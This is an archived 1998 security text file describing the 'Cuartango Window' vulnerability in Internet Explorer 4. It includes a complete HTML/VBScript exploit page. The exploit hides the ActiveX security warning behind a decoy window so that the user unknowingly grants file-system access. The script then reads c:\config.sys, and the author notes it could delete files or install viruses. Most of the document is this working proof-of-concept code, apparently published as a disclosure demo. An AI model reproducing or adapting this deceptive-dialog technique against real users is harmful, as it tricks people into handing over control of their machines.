home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack / cuartango-window.txt < prev    next >
Encoding:
Text File  |  1998-10-15  |  4.3 KB  |  113 lines

  1. Cuartango Window 
  2.  
  3. http://pages.whowhere.com/computers/cuartangojc/cuartangow1.html
  4.  
  5. Affected software
  6. Microsoft Internet Explorer 4
  7.  
  8.  
  9. Risks
  10. Your computer is at risk a malicious VBScript can get full control over your system.
  11. The VBScript can de everything : delete files, install viruses, read your files ...
  12.  
  13.  
  14. Technical description
  15.                       When Microsoft Internet Explorer detects that a Visual Basic Script included in an HTML page will
  16.                       create an object ("CreateObject" sentence)  your file system a security alert dialog is displayed :
  17.  
  18.  
  19.  
  20.                       Nobody with a minimum knowledge about ActiveX and VB Scripts would accept this dialog. If you click
  21.                       the "yes" button your have given FULL CONTROL of your machine to the VB Script code.
  22.                       The vulnerability comes from the fact that is possibleto hide this dialog box and get FULL CONTROL
  23.                       over the victim machine.  
  24.                       The key idea is very simple : just display a window over the security alert hiding the message and
  25.                       replacing it by another friendly message but keeping visible the buttons of the original message.
  26.  
  27.                       I will show you how the malicious script will work   :
  28.  
  29.                       First we open a friendly window (The Cuartango Window) :
  30.  
  31.                       set wcover = window.open ("welcome.htm", "Welcome . . . )
  32.  
  33.                       Next instruction will generate the security alert because we are accesing the file system this
  34.                       prompt will be behind the welcome window  !!!
  35.  
  36.                       Set fs = CreateObject("Scripting.FileSystemObject")
  37.  
  38.                       At this moment instead of the alert shown above what we see is :
  39.  
  40.  
  41.  
  42.                        
  43.  
  44.                       If the YES button is clicked the script has FULL CONTROL. The welcome window in no longer needed and
  45.                       we close it
  46.  
  47.                       wcover.close
  48.  
  49.                       At this point we are the script owns   the machine as an, example I will get the autoexec.bat file
  50.                       and display it in a text box. But the script could do everything on your machine, delete all your
  51.                       files, install a virus ...
  52.  
  53.                       Set myfile = fs.OpenTextFile("c:\config.sys")
  54.                       content = myfile.readall
  55.                       myfile.Close
  56.                       document.form1.s1.value = content
  57.  
  58.  
  59. ----------exploit code example----------
  60.  
  61. <html>
  62.  
  63. <head>
  64. <meta name="description" content="Explorer vulnerability : Cuartango Window hole">
  65. <meta name="GENERATOR" content="Microsoft FrontPage 3.0">
  66. <meta name="keywords"
  67. content="activex security,explorer security hole,explorer vulnerability,cuartango window,cuartango hole,cuartango hack,activex hole,vbscript hole,cuartango,security,security site,security web,hack,security,risk,hole,security hole,explorer">
  68. <title>Cuartango Window demo</title>
  69. </head>
  70.  
  71. <body bgcolor="#C0C0C0">
  72. <script language="VBScript">
  73.  
  74. if instr(1,navigator.userAgent,"MSIE") = 0 then 
  75.         msgbox "Please, use Microsoft Internet Explorer",0,"GoodBye"
  76.         window.navigate "http://www.microsoft.com"
  77. end if
  78. if window.screen.width <> 800 then       
  79.         alert "Your screen resolution must be 800 x 600"
  80.         window.navigate "cuartangow1.html"
  81. else   ' coordinates given for 800 x 600
  82.         set wcover = window.open ("welcometrick.html", "Welcome", "top = 190,left = 227, height = 80, width = 335,toolbar=no, maximize=no, resizeable=no, status=no")
  83.         Set fs = CreateObject("Scripting.FileSystemObject")
  84.         wcover.close
  85.         Set myfile = fs.OpenTextFile("c:\config.sys")
  86.         content = myfile.readall
  87.         myfile.Close
  88. end if
  89.  
  90. </script>
  91.  
  92.  
  93. <h1 align="center"><font color="#FF0000">Cuartango Window Demo</font></h1>
  94.  
  95. <p align="center"><strong>This example shows you how ActiveX could destroy your system.
  96.   As an example I have read your config.sys file</strong><br>
  97. Back to <a href="cuartangow1.html">Cuartango Window Page</a></p>
  98.  
  99. <form method="POST" name="form1">
  100.   <div align="center"><center><p><textarea rows="18" name="S1" cols="49"></textarea></p>
  101.   </center></div>
  102. </form>
  103. <script language="VBScript">
  104.  
  105.  document.form1.s1.value = content
  106.  
  107. </script>
  108.  
  109.  
  110. <p> </p>
  111. </body>
  112. </html>
  113.